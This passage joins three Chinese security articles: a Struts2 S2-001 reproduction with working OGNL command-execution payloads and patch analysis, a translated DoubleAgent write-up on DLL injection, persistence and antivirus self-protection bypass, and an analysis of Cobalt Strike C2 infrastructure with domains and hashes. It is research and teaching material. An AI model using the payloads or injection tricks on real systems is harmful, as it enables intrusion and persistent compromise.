<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
新建index.jsp和welcome.jsp内容如下
index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
welcome.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
然后在src中新建`com.demo.action`package
这时候src会突然找不到，只要点击一下上面的Project Files就能看到文件
然后新建一个`LoginAction.java`，内容如下
package com.demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}
然后在src目录下新建struts.xml，内容如下
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>
这时候会看到LoginAction会一直显示找不到要导入的`opensymphony.xwork2.ActionSupport`，是由于jar包还没有真正的被导入到这个项目中
点击`File->Project Structure`
然后找到刚才在lib目录下的jar包，点上勾之后点击OK即可
然后`Build->Build Project`build一下整个项目，刚才的包就被成功的导入到项目中，错误提示也就消失了
然后配置一下tomcat的debug configurations，就可以成功运行这个项目了
点击运行后，访问8888端口即可（默认为8080，我这更改了下），看到如下页面就表示环境搭建成功
# 漏洞利用
在登录失败的时候可以看到，会将错误的`username`和`password`显示在输入框中
然而当我们在密码框处输入这样一个字符串时`%{1+1}`（`%`需编码）会被解析成2
从而利用这一特性，可以构造一些命令执行语句
获取tomcat路径
%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}
获取web路径
%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
以及命令执行
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
将其中的`java.lang.String[]{"whoami"}`修改一下就可以执行任意命令
# OGNL表达式
搬运
> OGNL 是 Object-Graph Navigation Language 的缩写，它是一种功能强大的表达式语言（Expression
> Language，简称为
> EL），通过它简单一致的表达式语法，可以存取对象的任意属性，调用对象的方法，遍历整个对象的结构图，实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。
> OGNL 三要素：(以下部分摘抄互联网某处, 我觉得说得好)
>
> 1、表达式（Expression）
>
> 表达式是整个 OGNL 的核心，所有的 OGNL 操作都是针对表达式的解析后进行的。表达式会规定此次 OGNL
> 操作到底要干什么。我们可以看到，在上面的测试中，name、department.name 等都是表达式，表示取 name 或者 department
> 中的 name 的值。OGNL 支持很多类型的表达式，之后我们会看到更多。
>
> 2、根对象（Root Object）
>
> 根对象可以理解为 OGNL 的操作对象。在表达式规定了 “干什么” 以后，你还需要指定到底“对谁干”。在上面的测试代码中，user
> 就是根对象。这就意味着，我们需要对 user 这个对象去取 name 这个属性的值（对 user 这个对象去设置其中的 department 中的
> name 属性值）。
>
> 3、上下文环境（Context）
>
> 有了表达式和根对象，我们实际上已经可以使用 OGNL 的基本功能。例如，根据表达式对根对象进行取值或者设值工作。不过实际上，在 OGNL
> 的内部，所有的操作都会在一个特定的环境中运行，这个环境就是 OGNL
> 的上下文环境（Context）。说得再明白一些，就是这个上下文环境（Context），将规定 OGNL 的操作 “在哪里干”。
> OGN L 的上下文环境是一个 Map 结构，称之为 OgnlContext。上面我们提到的根对象（Root
> Object），事实上也会被加入到上下文环境中去，并且这将作为一个特殊的变量进行处理，具体就表现为针对根对象（Root
> Object）的存取操作的表达式是不需要增加 #符号进行区分的。
>
> 表达式功能操作清单：
>
>
> 1. 基本对象树的访问
> 对象树的访问就是通过使用点号将对象的引用串联起来进行。
> 例如：xxxx，xxxx.xxxx，xxxx. xxxx. xxxx. xxxx. xxxx
>
> 2. 对容器变量的访问
> 对容器变量的访问，通过#符号加上表达式进行。
> 例如：#xxxx，#xxxx. xxxx，#xxxx.xxxxx. xxxx. xxxx. xxxx
>
> 3. 使用操作符号
> OGNL表达式中能使用的操作符基本跟Java里的操作符一样，除了能使用 +, -, *, /, ++, --, ==, !=, =
> 等操作符之外，还能使用 mod, in, not in等。
>
> 4. 容器、数组、对象
> OGNL支持对数组和ArrayList等容器的顺序访问：例如：group.users[0]
> 同时，OGNL支持对Map的按键值查找：
> 例如：#session['mySessionPropKey']
> 不仅如此，OGNL还支持容器的构造的表达式：
> 例如：{"green", "red", "blue"}构造一个List，#{"key1" : "value1", "key2" :
> "value2", "key3" : "value3"}构造一个Map
> 你也可以通过任意类对象的构造函数进行对象新建
> 例如：new Java.net.URL("xxxxxx/")
>
> 5. 对静态方法或变量的访问
> 要引用类的静态方法和字段，他们的表达方式是一样的@class@member或者@class@method(args)：
>
> 6. 方法调用
> 直接通过类似Java的方法调用方式进行，你甚至可以传递参数：
> 例如：user.getName()，group.users.size()，group.containsUser(#requestUser)
>
> 7. 投影和选择
> OGNL支持类似数据库中的投影（projection） 和选择（selection）。
> 投影就是选出集合中每个元素的相同属性组成新的集合，类似于关系数据库的字段操作。投影操作语法为 collection.{XXX}，其中XXX
> 是这个集合中每个元素的公共属性。
> 例如：group.userList.{username}将获得某个group中的所有user的name的列表。
> 选择就是过滤满足selection 条件的集合元素，类似于关系数据库的纪录操作。选择操作的语法为：collection.{X YYY}，其中X
> 是一个选择操作符，后面则是选择用的逻辑表达式。而选择操作符有三种：
> ? 选择满足条件的所有元素
> ^ 选择满足条件的第一个元素
> $ 选择满足条件的最后一个元素
> 例如：group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。
struts2中大量用到了这种OGNL表达式，正是由于有这种功能强大的表达式，只要当传入解析的表达式我们可以控制的时候，就可以触发漏洞。
# 漏洞分析
可以锁定到最终变量值发生变化的区域是在`xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class:30
line`中
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression;
while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}
在此处下了断点之后，可以看到
依次进入了好几次，不同时候的`expression`的值都会有所不同，我们找到值为`password`时开始分析
经过两次如下代码之后，将其生成了OGNL表达式，返回了`%{password}`
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
然后这次的判断跳过了中间的return，来到后面，取出`%{password}`中间的值`password`赋给`var`
然后通过`Object o = stack.findValue(var, asType)`获得到password的值为`%{1+1}`
然后重新赋值给expression，进行下一次循环
在这一次循环的时候，就再次解析了`%{1+1}`这个OGNL表达式，并将其赋值给了`o`
最后`expression`的值就变成了2，不是OGNL表达式时就会进入
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
最后返回并显示在表单中
# 漏洞修复
通过之前的漏洞分析可以看到，由于struts2错误的使用了递归来进行验证，导致OGNL表达式的执行
官方给出的修复
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
int loopCount = 1;
int pos = 0;
while (true) {
int start = expression.indexOf(open + "{", pos);
if (start == -1) {
pos = 0;
loopCount++;
start = expression.indexOf(open + "{");
}
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
String middle = null;
if (o != null) {
middle = o.toString();
if (!TextUtils.stringSet(left)) {
result = o;
} else {
result = left + middle;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + middle + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
(middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
1;
pos = Math.max(pos, 1);
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
可以明显看到多了这样的判断
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}
判断了循环的次数，从而在解析到`%{1+1}`的时候不会继续向下递归
# 总结
漏洞的形成确实不算是特别难，但是由于对于java的不熟悉，以及一些搭建配置的问题，导致还是花费了很多精力和时间去完成这个漏洞分析和复现的。万事开头难，暑假还剩下这几天，再多复现几个漏洞把。。
# Reference Links
<https://chybeta.github.io/2018/02/06/【struts2-命令-代码执行漏洞分析系列】S2-001/>
<http://www.zerokeeper.com/vul-analysis/struts2-command-execution-series-review.html>
<https://www.codemonster.cn/2018/03/28/2018-struts2-001/>
<https://github.com/vulhub/vulhub> | 社区文章 |
# DoubleAgent：代码注入和持久化技术--允许在任何Windows版本上控制任何进程
|
##### 译文声明
本文是翻译文章，文章来源：cybellum.com
原文地址：<https://cybellum.com/doubleagentzero-day-code-injection-and-persistence-technique/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
稿费：260RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、概述**
我们想介绍一种新的用于代码注入和保持对机器持久化控制的0-day技术，叫做“DoubleAgent”。
DoubleAgent技术可以利用到：
1.任何Windows版本(从XP到WIN 10)。
2.任何Windows架构(X86和X64)。
3.任何Windows用户(系统/管理员等)的任何目标进程，包括特权进程(操作系统/杀毒软件等)。
DoubleAgent技术利用了在Windows中已经存在15年的一个未公开但合法的功能，因此还不能被修补。
**代码注入：**
利用DoubleAgent技术，攻击者有能力将任何DLL注入到任何进程中。在受害者的进程启动过程中，该代码注入过程发生在很早的阶段，这使得攻击者可以完全控制该进程，该进程无法有效的保护好自己。
该代码注入技术是具有革命性的，因为任何杀毒软件都无法探测或阻止它。
**持久化：**
即使在用户重新启动系统或安装修补程序和更新后，DoubleAgent技术还是可以断续注入代码，这使它成为了一个完美的持久化技术。
一旦攻击者决定将一个DLL注入到一个进程中，它们将永远被强制绑定。即使受害者完全卸载和重新安装了它的应用程序，攻击者的DLL仍然会在该进程每次重启时被注入。
**
**
**二、攻击向量**
1、攻击反病毒软件&下一代反病毒软件：通过将代码注入到反病毒软件中，完全控制任何反病毒软件，同时绕过其自我保护机制。这种攻击方法在大部分反病毒软件中已经被证实有效，包括下面的反病毒产品，但不限于这些：Avast，AVG，Avira，Bitdefender，Comodo，ESET，F-Secure，Kaspersky，Malwarebytes，McAfee，Norton，Panda，Quick
Heal和Trend Micro。
2、安装持久化恶意软件：安装恶意软件，即使是重启系统也能“存活”的恶意软件。
3、劫持权限：劫持一个现有信任进程的权限，伪装成信任进程执行一些恶意操作，如窃取数据、C2通信、横向运动、偷取和解密敏感数据。
4、改变进程行为：修改进程行为，如安装后门、降低加密算法，等等。
5、攻击其他用户会话：将代码注入到其他用户会话的进程中(系统、管理员等等)。
6、更多其它情况。
**三、技术详情**
**1.微软应用验证器提供者**
微软通过[微软应用程序验证器](https://msdn.microsoft.com/en-us/library/ms220948\(v=vs.90\).aspx)提供者DLL，提供了一个标准的方法，用于为本机代码安装运行时验证工具。验证器提供者DLL是一个DLL，会被加载到进程中，并负责为应用程序执行运行时验证。
为了注册一个新的应用程序验证器提供者DLL，需要创建一个验证器提供者DLL，并通过在注册表中创建一组键值来注册它。
一旦将该DLL注册为某个进程的验证器提供者DLL，在每次启动该进程时，该DLL将被Windows加载者长期注入到这个进程中，即使是在重启/更新/重装/打补丁之后，也同样有效。
**2.注册**
应用程序验证器提供者会被注册为一个可执行文件名，意味着每个DLL会绑定到一个特定的可执行文件名上，并且带有该注册名的进程在每一次启动新进程时，该DLL就会被注入到该进程中。
例如，如果将DoubleAgentDll.dll注册到cmd.exe上，当启动“C:-cmd.exe”和“C:-Windows-System32-cmd.exe” 时，DoubleAgentDll.dll就会被注入到这两个进程中。
一旦被注册，每次使用该注册名称创建新进程时，操作系统就会自动进行注入。该注入将会持续发生，不论重启/更新/重装/补丁，或其它任何情况。
可以通过使用我们公开的[DoubleAgent](https://github.com/Cybellum/DoubleAgent)项目，注册一个新的应用程序验证器提供者。
或者使用我们的[验证模块](https://github.com/Cybellum/DoubleAgent/blob/master/DoubleAgent/Verifier.h)，将注册能力整合到一个存在的项目中。
在底层，注册进程将会在下面的注册表项中创建两个注册表键值：
“HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionImage File Execution OptionsPROCESS_NAME”
最终的结果应该是：
一些反病毒软件会尝试保护“Image File Execution Options”中它们的进程对应的键值。如一款反病毒软件可能会尝试阻止任何对“Image
File Execution OptionsANTIVIRUS_NAME”的访问。
对于这种简单的保护机制，通过稍微修改一下注册表路径，就可以轻松的绕过去。如，我们不需要访问“Image File Execution
OptionsANTIVIRUS_NAME”，我们首先可以对“Image File Execution
Options”重新命名成一个临时的名称，如“Image File Execution Options Temp”，然后，在“Image File
Execution Options TempANTIVIRUS_NAME”下，创建一个新的注册表键值，最后，再将这个临时名称重命名成原来的名称“Image
File Execution Options”。
因为我们创建的新注册表键值是在“Image File Execution Options TempANTIVIRUS_NAME”下，不是在“Image
File Execution OptionsANTIVIRUS_NAME”下，因此，这足以绕过反病毒软件的自我保护机制。
在我们测试的所有反病毒软件中，只有个别几款反病毒软件会尝试保护它们的注册表键值，不过，我们使用“重命名技巧”可以绕过所有的反病毒软件。
这个“重命名技巧”已经运用到了我们的[验证模块](https://github.com/Cybellum/DoubleAgent/blob/master/DoubleAgent/Verifier.h)中。
**3.注入**
每一个进程启动时，操作系统会通过调用ntdll的LdrInitializeThunk函数，将控制权从内核模式转向用户模式。从这一刻起，ntdll开始负责该进程的初始化过程(初始化全局变量、加载输入、等)，并且最终将控制权转到该执行程序的主函数。
在该进程处于一个早期阶段时，此时，只加载了ntdll.dll模块和该可执行文件(NS.EXE)。
随后，Ntdll开始对该进程进行初始化，大部分初始化过程发生在ntdll的LdrpInitializeProcess函数过程中。
通常，初始化过程中，第一个被加载的DLL是[kernel32.dll](https://en.wikipedia.org/wiki/Microsoft_Windows_library_files#KERNEL32.DLL)。
但是如果存在应用程序验证器，ntdll的LdrpInitializeProcess函数会调用AVrfInitializeVerifier函数，调用该函数的结果是：在加载kernel32前，我们的[验证器提供者DLL](https://github.com/Cybellum/DoubleAgent/tree/master/DoubleAgentDll)会首先被加载。
该DLL在任何其它系统DLL加载前被加载，其结果就是：将该进程的绝对控制权交给了我们。
一旦我们的DLL被ntdll加载，我们的DLLMain函数就会被调用，从而，在受害进程中，我们就可以自由的做我们想做的事情了。
**四、如何缓解**
微软为杀毒厂商提供了全新的设计概念，叫做“受保护进程”。这个新概念是专门为反病毒服务设计的。反病毒进程可以作为“受保护进程”被创建，并且这个“受保护进程的基础设施”只允许那些受信任的、签名的代码去加载，并且内置了代码注入攻击防御功能。这意味着即使一个攻击者发现了一个新的零日代码注入技术，它也不能被用于对抗反病毒软件，因为它的代码没有被签名。但是，目前没有哪个反病毒软件应用了这种设计概念(除了微软的Defender)，尽管微软在3年前就已经推出了这个设计概念。
需要注意的重要一点是，即使反病毒厂商会阻止注册企图，代码注入技术和持久化技术还是会永远存在，因为它是操作系统的合法功能。
**五、源代码**
你可以在我们公司的公共[Github](https://github.com/Cybellum/DoubleAgent)上找到DoubleAgent技术的源代码。
**六、总结**
攻击者总是会不断进化、并发现新的零日攻击。我们需要付出更多的努力去探测和阻止这些攻击，并且不要盲目相信传统的安全解决方案，正如这里所演示的，它不仅对零日攻击无效，而且还为攻击者创造复杂和致命攻击打开了新的机会。 | 社区文章 |
**作者：启明星辰ADLab**
**原文链接：<https://mp.weixin.qq.com/s/Agr3doBvYMK6Bs0tH6urcw>**
## 引言
Cobalt Strike是一款商业化的渗透测试利器，由著名的攻防专业团队Strategic
Cyber开发。该工具被广泛应用于渗透测试项目中，在提高政府和企业网络设施安全性上起到了重要的作用。同时，随着网络空间的红蓝对抗不断发展，该框架成为对手模拟和红队行动中最为流行的一款软件。但由于该框架具备团队协作攻击、流量防检测、防安全软件查杀等优势，因而也被大量黑客组织用于真实的高危害性的攻击。目前已知的多个APT组织都曾经使用过Cobalt
Strike攻击框架，如FIN6、Cobalt Group组织和“海莲花”等。但是，目前所披露出来的攻击情报只是黑客利用Cobalt
Strike进行非法攻击的冰山一角。由于该框架集成有丰富的逃避流量监测和沙箱检测技术，且具备优秀的反追踪能力，再结合黑客团体积累的免杀技术和C&C隐藏技术，使得业内对Cobalt
Strike框架的在野利用状况知之甚少，也很难有一个全面的了解和清晰的认知。这种情况直接导致大量依赖于Cobalt
Strike框架进行的网络攻击行为被忽视或者漏掉，如目前仍然存在许多VT查杀率为0的样本以及因利用C&C隐藏技术而存活至今的控制命令服务器。
因此，本文通过逆向工程的手段提取出深度有效的指纹特征，通过各种渠道和自有样本平台对关联样本进行采集分析，最后我们利用其C&C加密与存放的机制来自动化的提取这些被深度隐藏的C&C服务器地址。通过已有数据的分析和追踪我们将对Cobalt
Strike框架的在野利用情况进行一次全面分析。最后，我们还溯源到10个已知的APT组织在使用该框架进行攻击，并且发现了大量使用流量伪装技术、DNS隧道技术、CDN技术、域名前置技术进行流量隐藏的未知APT攻击。当然还收获了大量的使用Cobalt
Strike框架的仿冒域名。这些数据在我们进一步的威胁分析与情报挖掘中起到了重要的作用。
本文将揭秘Cobalt
Strike的在野使用情况，对具体所使用的部分APT攻击组织进行披露，同时对在野利用的各种技术如流量伪装和C&C隐藏技术进行分析，并对Cobalt
Strike服务器“NanoHTTPD
Servers”特征探测的价值进行评估。木马分析部分，我们通过以上情报发现了一起攻击案例，通过分析最后确定该攻击是由攻防实战演练的一个红队发起的，文中我们会阐述这次攻击案例的攻击过程及其攻击手法，并进一步的对黑客所采用的一些特种技术包括逃逸管道、DNS隧道、SMB隧道技术等进行深入分析。
## 分析简述
### 2.1 Cobalt Strike简介
Cobalt Strike是一款基于Java编写的全平台多方协同后渗透攻击框架，也称为CS。早期版本依赖Metasploit框架，Cobalt Strike
3.0之后则是作为单独的平台使用。其支持多种通信协议，包括http、https、dns、smb等，同时集成了提权、凭据导出、端口转发、端口扫描、横向移动、Socks代理、钓鱼攻击等功能，且支持丰富的扩展插件，几乎可以覆盖APT攻击链所需的各个技术环节。木马生成方面也涵盖了大多数的平台和攻击场景，包括
PE木马、ELF木马、网页木马、Office宏病毒木马等。不过Cobalt
Strike是一款商业运营的收费软件，每位使用者一年的许可证费用为3500美元，许可证续签费用为每年2500美元。
图1 Cobalt Strike软件界面
### 2.2 样本采集与处理
为了对Cobalt
Strike的在野使用情况进行全方位的了解和评估，启明星辰ADLab安全研究人员通过长期追踪，采集和分析了大量的关联木马样本，并针对其多种类型和版本的样本提取了指纹特征。
Cobalt Strike的木马生成基于其框架下的模版文件如：beacon.dll、artifact32.dll(存放于Cobalt
Strike.jar文件内的resources目录下)。使用者在配置C&C、端口及其他信息时，Cobalt
Strike会将这些信息加密存放于这些模板文件中。通过分析这些信息加密算法和存放规则，便可以大批量地提取Cobalt
Strike样本的C&C服务器地址。目前我们分析了包含有Beacon、Artifact、Payload、Shellcode等类的Cobalt
Strike样本，并实现了批量样本的C&C解密和提取。这种方法相对来说比自动化沙箱更快速有效。有了这些C&C我们可以进一步描绘出CS使用者的分布情况，以此为线索还可以挖掘出更多情报。
通过长期的样本收集，我们共得到了8380个Cobalt
Strike样本，样本文件包含有EXE、DLL、VBScript、PowerShell等。我们将逆向分析得到的C&C定位规则和C&C解密算法脚本化，得到了自动化处理脚本。通过脚本处理后，最终提取到了973个C&C。在分析过程中我们还发现这批样本中有6410个左右使用了相似的C&C地址，通过溯源发现这些样本的主体为一款名为XMRig的挖矿病毒。这批样本背后的黑客不仅在该病毒中嵌入了Cobalt
Strike木马(全部为beacon.dll木马，C&C为ns7.softline.top、ns8.softline.top、
ns9.softline.top)以获得更为强大的远程控制的功能，而且还在病毒中加入一些可以自动改变HASH的功能（在自我复制过程中变换复制体的数据），在一定程度上达到了自动变异的效果，这也会导致以HASH作为病毒检测的方法失效。
接下来，我们将对这批C&C进行分析处理，并对其中一些有价值的情报进行挖掘，以进一步的掌握Cobalt Strike在野使用者的现实情况。
## CS攻击方情报分析
在这里我们通过CS回连的C&C数据作为线索，以分析Cobalt
Strike木马攻击来源的分布情况，进一步关联出一些已知APT组织并发现一些新的未知黑客组织。同时我们还对Cobalt
Strike木马使用者所采用的一些特种技术进行分析和评估。
### 3.1 分布概况
首先，我们针对Cobalt Strike的C&C服务器地理位置进行了统计分析，从而评估该框架在全球的分布情况和流行程度。从结果来看，Cobalt
Strike服务器的分布范围非常广泛，包括42个国家和地区，其中分布较为密集的国家为中国、美国、荷兰、俄罗斯和日本，上述国家同样也是黑客组织聚集和遭受网络攻击较多的国家。图2是根据C&C数据绘制的Cobalt
Strike C&C全球分布图。
图2 C&C全球分布图
之后，我们对这批C&C的所属运营商进行了细分。结果表明，大量服务器归属于规模较小或无法识别的运营商(图3中以XX表示)。此类厂商的安全管理工作通常较为松散、混乱，相应的租金也较为低廉，攻击者往往倾向于选择此类厂商架设服务器以降低攻击成本和躲避监管。除此之外，内网IP、阿里云、电信、亚马逊、脸书以及谷歌的C&C服务器数量较多。相关占比分布如图3所示。
图3 C&C所属运营商占比分布图
考虑到Cobalt
Strike支持多种通信协议，我们进一步提取了样本中的端口特征，从而评估在实际攻击中其端口和通信协议的使用情况。结果显示，443(https)、80(http)和8080端口的使用频率较高，这三种常见端口均具有较强的穿透性和隐蔽性，可以有效避开一些防御方案的网络出站规则限制。虽然Cobalt
Strike也支持攻击者自定义配置端口，但在实际攻击中结合通信协议设置端口显然更具迷惑性。其中，443端口结合https协议加密传输的隐蔽性较高；80端口结合http协议，再配合流量伪装技术也具有不错的隐蔽效果。相关通信端口占比分布如图4所示。
图4 通信端口占比分布图
由于样本中存在大量C&C指向内网IP和域名，我们继续对C&C的类型进行了分类整理。973个C&C共涵盖了公网IP、内网IP和域名三类，数量分别为548个、227个和198个，其中公网IP占比超过56%，内网IP和域名数量接近，分别占比23.33%和20.35%。C&C类型占比如图5所示。
图5 C&C类型占比图
针对C&C数据中出现的大量内网IP和域名，我们推测连接内网IP的样本可能存在如下情况：
1. 攻击者/渗透测试人员在攻陷某内网主机后，通过横向渗透获取了更多内网机器权限，并进一步借助可连接公网的内网主机作为跳板C&C进行流量转发，从而达到其它主机上线的目的。
2. 攻击者/渗透测试人员在内网环境部署Cobalt Strike服务器并进行免杀功能测试。
对于连接C&C域名的样本，我们在深入分析后发现了更多有价值的线索，也将在下个小节进行详细的介绍。
### 3.2 隐匿技术
随着网络安全审查制度的不断完善，隐匿技术正越来越受到攻击者的重视。在对C&C为域名的样本进行整理分析时，我们发现了大量特殊的域名，例如仿冒的知名网站域名、CDN域名、DNS服务器NS记录地址、甚至是合法网站的白域名等等，这也引起了我们的疑问，是否攻击者在利用白域名进行免杀测试，或是采用了一些更高级的隐匿技术？
经过筛选发现，C&C为域名的样本中16%的样本存在C&C冗余机制（包含多个备用C&C域名），这种机制也给攻击者提供了更加多样和可靠的连接选择，我们将这些备用C&C也列入了统计，去重整理后共计247个域名。经过VirusTotal扫描分析，超过61%的域名并未报毒。在进一步分析后，我们发现攻击者运用了多种C&C隐藏技术和通信隐匿技术来对抗监管审查和流量分析，从而确保更稳定的权限维持，相关技术说明如表1所示。
隐匿技术 | 技术说明
---|---
域名仿造技术 | 通过仿造合法域名干扰普通用户或日志分析人员
CDN技术 | 借助CDN服务进行流量中转，隐藏真实C&C地址
域前置+CDN技术 | 借助合法域名作为前置域，结合CDN隐藏真实C&C地址
DNS隧道技术 | 将恶意流量隐藏在DNS协议中对抗流量检测
流量伪装技术 | 借助Malleable-C2-Profiles配置文件自定义通信流量规则对抗流量检测
表1 隐匿技术说明
我们进一步统计了这批域名样本中各类隐匿技术的使用占比情况，其中，部分样本融合了多项技术，例如同时运用域名仿造和DNS隧道技术(归类至DNS隧道)、同时使用域名仿造和流量伪装技术(归类至流量伪装)等，由于此类样本数量较少，对分析结果的影响有限，故进行了调整处理，得到隐匿技术占比图。
图6 隐匿技术占比图
由图6可知，超过72%的攻击者尝试通过隐匿技术来增强自身隐蔽性。其中，约37%的攻击者采用通信隐匿技术（流量伪装、DNS隧道）来躲避流量检测，且往往会结合域名仿造进一步增强伪装性。约15%的攻击者采用C&C隐藏技术（CDN技术、域前置+CDN技术）来逃避审查和溯源分析，相关技术将结合样本中的示例进行介绍。
#### 3.2.1 域名仿造技术
通过仿造合法域名干扰普通用户或日志分析人员。攻击者通常采用插入“-”连字符、替换形近字符、颠倒词语顺序、更改顶级域名等方式仿冒合法域名，从而将域名伪装成知名公司、软件、更新服务等网站域名进一步开展恶意活动，包括Baidu、Chrome、Windows、Office等都是常常被选择的伪造目标。由于此类伪装方式具有很强的迷惑性和隐蔽性，会对普通用户或日志分析人员产生较大干扰，且技术门槛和成本较低，俨然成为许多攻击组织的标准配置。一些仿造示例如表2所示。
**C &C** | **仿造目标** | **备注** |
---|---|---|---
baidu-search.net | Baidu | 仿造知名公司或软件域名 |
dns-chrome.com | Chrome | |
ns1.fackbook.gq,ns2.fackbook.gq,ns3.fackbook.gq | Fackbook | |
update.server.evevnote.com,server.evevnote.com | Evernote | |
windows-system.host | Windows | 仿造系统或更新服务域名 |
windwosupdate-beijing2019.com-system2019-micortsoftewindowschina2019.com.glxqn.cn | Windowsupdate | |
upgrade-services.com | Upgrade | |
fedex.global | Fedex | 仿造商业公司或社会机构域名 |
update.safebuikers.com | Safebulkers | |
thimunsingapore.org | singapore.thimun.org | |
officewps.net | office、wps | 攻击组织 | APT32
helpdesk-oracle.com | Oracle | Cobalt Group |
mcafee-analyzer.com | Mcafee | CopyKittens |
update.cisc0.net,developer.cisc0.net,res.cisc0.net | Cisco | Darkhydrus |
**……** | | |
表2 域名仿造示例
#### 3.2.2 CDN技术
CDN(Content Delivery Network 内容分发网络是高效地向用户分发 Web
内容的分布式服务器网络，其在网络访问加速、防御DDoS攻击等方面有着重要的作用。例如网站借助CDN进行DDoS防御时，如果将域名指向CDN，网站流量就会经过CDN中转后再进一步转发至真实IP地址，从而隐藏真实的服务器IP，防止服务器直接遭到攻击。同理，这种防护思路也被黑客所利用，攻击者通过CDN中转流量可以将真实C&C隐藏在CDN之后，将攻击溯源复杂化。C&C中常见的云服务提供商包括亚马逊(cloudfront.net)、谷歌(appspot.com)
、微软（azureedge.net）等。一些示例见表3。
**C &C** | **Hash**
---|---
dvvdhxuyj5ec8.cloudfront.net | f1340bcb2b6736f3df874181ff95f198
ds1wgtx86lg0f.cloudfront.net | 0f10ec8e18209e7a8e46e428815a3430
djo62u1ouhtae.cloudfront.net | d2a67209e2669e48876522472b60a6da
msedgesecure.appspot.com | ca0dc3e6d9ed03c6ddb7397bfcdf0597
update-162303.appspot.com | 0391ba787cc32a40617051561e59902d
secure-adn.appspot.com,msftncs.appspot.com, trendmicro.appspot.com |
8bc55a7d07cbc663b4afb18c961b6b64
endpoint18290.azureedge.net | 2867280baf00ff424418377260dcb5d2
